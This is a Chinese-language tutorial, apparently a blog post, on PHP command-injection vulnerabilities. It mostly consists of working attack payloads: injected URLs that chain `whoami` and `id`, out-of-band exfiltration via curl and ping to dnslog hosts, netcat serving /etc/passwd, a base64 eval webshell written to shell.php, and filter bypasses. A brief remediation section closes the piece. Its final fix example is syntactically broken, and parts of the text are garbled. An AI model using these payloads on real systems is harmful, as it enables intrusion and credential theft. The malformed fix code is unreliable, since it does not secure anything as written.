|
0x01 漏洞原理
目标应用把用户的输入当做系统命令或者系统命令的一部分去执行,且应用没有正确的验证、过滤用户的输入,从而导致命令执行漏洞。
0x02 常见漏洞存在点
-
「使用用户提供的邮箱地址发送邮件的应用程序」
-
「服务器监控类型的应用,他们会返回系统的健康状况,这些健康状况都是通过执行系统命令取得的」
-
「使用第三方软件根据据用户提供的输入实时生成报告的应用程序」
0x03 漏洞利用
1、远程命令执行漏洞
1.1 利用系统函数实现远程命令执行
「在PHP下,允许命令执行的函数有:」
-
eval()
-
assert()
-
preg_replace()
-
call_user_func()
如果存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞
「eval()函数」
-
定义和用法
eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
-
语法
eval(phpcode) phpcode 必需。规定要计算的 PHP 代码。
-
例子
<?php
$a = $_GET['a'];
eval($a);
?>
浏览器执行
http://127.0.0.1/oscommand/1.php?a=phpinfo();
「assert()函数」
定义和用法
检查一个断言是否为 FALSE
语法
PHP 5 bool assert ( mixed description ] ) PHP 7 bool assert ( mixed exception ] ) assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动
例子
<?php
$a = $_GET['a'];
assert($a);
?>
浏览器执行
http://127.0.0.1/test/test.php?a=phpinfo();
http://127.0.0.1/test/test.php?a=phpinfo()
「eval()和assert()区别」eval()函数正确执行需要满足php的代码规范,而assert()函数则不存在这个问题,对于php的代码规范要求不高
「preg_replace()函数」
-
定义和语法 preg_replace 函数执行一个正则表达式的搜索和替换。
-
语法 mixed preg_replace ( mixed replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '[' at position 12: limit = -1 ̲[̲, int &count ]] ) 搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。*
-
参数说明:
-
p a t t e r n : 要 搜 索 的 模 式 , 可 以 是 字 符 串 或 一 个 字 符 串 数 组 。当 pattern: 要搜索的模式,可以是字符串或一个字符串数组。当pattern:要搜索的模式,可以是字符串或一个字符串数组。当pattern处存在一个"/e"修饰符时,$replacement的值会被当成php代码来执行。 -
$replacement: 用于替换的字符串或字符串数组。 -
$subject: 要搜索替换的目标字符串或字符串数组。 -
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。 -
$count: 可选,为替换执行的次数。 -
例子
<?php
$a = $_GET['a'];
echo preg_replace("/test/e", $a, "just test!")
?>
http://127.0.0.1/test/test.php?a=phpinfo()
http://127.0.0.1/test/test.php?a=phpinfo();
「注意」
在php5.4及以下版本中,preg_replace()可正常执行代码,而在php5.5及后续版本中会提醒"/e"修饰符已被弃用,要求用preg_replace_callback()函数来代替。
「call_user_func()函数」
-
「定义和用法」call_user_func — 把第一个参数作为回调函数调用
-
「语法」mixed call_user_func ( callable parameter [, mixed $… ]] ) 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
「例子」
<?php
call_user_func($_GET['a'],$_GET['b']);
?>
「其他函数」
-
ob_start()、unserialize()、creat_function() -
usort()、uasort()、uksort() -
array_filter() -
array_reduce() -
array_map() -
…
2、系统命令执行漏洞
若系统只允许执行特定的函数,比如只允许执行ping命令,可通过拼接绕过
2.1 php常见系统命令执行函数
-
system() -
exec() -
shell_exec() -
passthru() -
pcntl_exec() -
popen() -
proc_open() -
反引号
system函数
用于执行外部程序并显示输出
<?php system('whoami'); ?>
exec函数
用于执行一个外部程序
<?php echo exec('whoami');?>
执行时加上echo
才会输出whoami
的结果
shell_exec函数
通过shell环境执行命令 且将完整的输出以字符串方式返回
<?php echo shell_exec('whoami');?>
执行时加上echo
才会输出whoami
的结果
反单引号
反单引号是php执行运算符 php将尝试将反单引号中的内容作为shell命令来执行 并将输出信息返回
<?php echo `whoami`;?>
2.2 Windows下的命令执行漏洞
Windows系统支持的管道符
| 命令连接符
如果前语句为假则直接报错,后边不执行 如果前语句为真,执行后边的语句
||命令连接符
如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&命令连接符
&前面和后面命令都要执行,无论前面真假
&&命令连接符
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
例:
<?php
header("Content-type:text/html;charset=utf-8");
$ip=$_GET['ip'];
system("ping ".$ip);
?>
正常输入?ip=127.0.0.1会返回ping的结果
输入?ip=127.0.0.1| whoami 会返回whoami的结果
2.3 Linux下的命令执行漏洞
|、||、&、&&这四种管道符都存在且用法和Windows
系统下一样,多了一个;管道符,作用和&一样
<?php
$ip=$_GET['ip'] ;
system("ping -c 3".$ip);
?>
代码调用system函数 输?ip=127.0.0.1;id成功执行 返回用户信息
2.4 有回显和无回显下的利用
有回显
这是最完美的情况下,可直接获取目标敏感信息
例如:
http://127.0.0.1/test/test.php?ip=127.0.0.1%20|%20type%20c:windowswin.ini
无回显(不出网)
在实战中,很多时候不会直接回显,需要我们利用各种带外通信技巧
「DNSLog」
代码
<?php
$c=($_GET['a']);
$cmd=exec($c);
echo $cmd;
?>
「原理」:
反撇号中的命令会自动执行并返回命令执行的结果拼接到命令里,linux里要加上-c参数指定次数
http://192.168.240.139/2.php?a=ping%20-c%201%20`whoami`.gtf9n4.dnslog.cn
成功返回了whoami的信息
「管道符」
在有写入的权限下,直接利用漏洞写入一句话
windows下
http://127.0.0.1/test/test.php?submit=test&ip=ping%20127.0.0.1%20||%20echo%20^%3C?php%20@eval($_POST[pass]);?^%3E%20%3E%20shell.php
linux下
echo PD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg== |base64 -d > shell.php
「NetCat」
如果目标系统有安装netcat,可以直接利用netcat将操作系统的输出重定向netcat监听的端口
nc –l –p {port} < {file/to/extract} # nc -lp 9999 < /etc/passwd
当我们向目标系统注入了类似上面这样形式的命令时,我们就可以在我们自己的主机上利用netcat连接目标的监听端口,然后我们就可以得到想要的敏感信息了
http://192.168.240.139/2.php?a=ping%20-c%204%20www.baidu.com%20|%20nc%20-lp%209999%20%3C%20/etc/passwd
如果目标系统是windows的话,我们需要稍微修改一下命令:
type {file to extract} | nc -L -p {port}
「curl」
curl是用于使用各种协议传输数据的库和命令行工具,是用于数据渗透的非常有用的工具,如果易受攻击的服务器具有curl,可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件
用http请求的方式携带数据
curl -v lbjuaw.dnslog.cn/`whoami`
注意:如果要使用ls命令擦好看当前目录文件,会发现只有一个请求,只能看到一个文件或者目录(换行、空格、!、$、&、?)等特殊字符无法通过DNSlog将数据带出来 ,将内容base64编码,然后输出
curl -v lbjuaw.dnslog.cn/`ls|base64`
0x04命令执行绕过
1、绕过空格过滤
1.1${IFS}绕过
是的特殊环境变量是下的内部俞分隔符IFS中存储的值可以是空格 制表符 换行符或者其他自定义符号
<?php
$c=($_GET['a']);
$d=system($c);
echo $d;
?>
输入
http://192.168.240.139/2.php?a=cat${IFS}1.php${IFS}|${IFS}base64
返回1.php
的base64加密后源码内容
9绕过
用法和${IFS}
相似
制表符绕过
%09是制表符URL编码 可以通过%09代替空格绕过空格过滤
http://192.168.240.139/2.php?a=cat%091.php%09|%09base64
<绕过
http://192.168.240.139/2.php?a=cat%3C1.txt
绕过
http://192.168.240.139/2.php?a=cat%091.txt #例如 通过cat绕过cat命令过滤
通配符绕过
*代表0到多个字符
?代表一个任意字符
[]内为字符范围 代表字符范围内任意一个字符
如绕过 /etc/passwd (方法很多,自行尝试)
http://192.168.240.139/2.php?a=cat%09/???/???sw?
http://192.168.240.139/2.php?a=cat%09/*/passwd
漏洞修复
1.禁用disable_functions
中的敏感函数
2.函数过滤
escapeshellarg函数
escapeshellarg函数把字符串转码为可以在shell命令里使用的参数,以过滤命令中的参数
函数给字符串增加一个单引号,并且能引用或者转义任可已经存在的单引号,这样可以直接将一个字符串传入shell函数并确保他是安全的
修复举例:
<?php
$ip=$_GET['ip'] ;
system("ping -c 3".escapeshellarg($ip));
?>
escapeshellcmd函数
可以对shell元字符进行转义 过滤命令
对字符串中可能欺骗shell的恶意命令字符转义 函数保证用户输入的数据在传送到system函数或执行操作符之前被转义函数会在字符间加入反斜线
修复举例
<?php
$ip=$_GET['ip'] ;
system(escapeshellcmd("ping -c 3")"ping -c 3".$ip);
?>
❞
推荐阅读
点个在看 你最好看
前言在进行实战攻防中,免杀是在突破边界防御后面临的首要问题,在通过建立据点,横向移动来扩大攻击成果的过程中,都有杀软在进行拦截,现在常用的免杀手法,例如反射型dll注入、直接系统调用、加密混淆等,都是在解决如何躲避杀软的查杀。而对于免杀来说,一劳永逸的解决方法…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论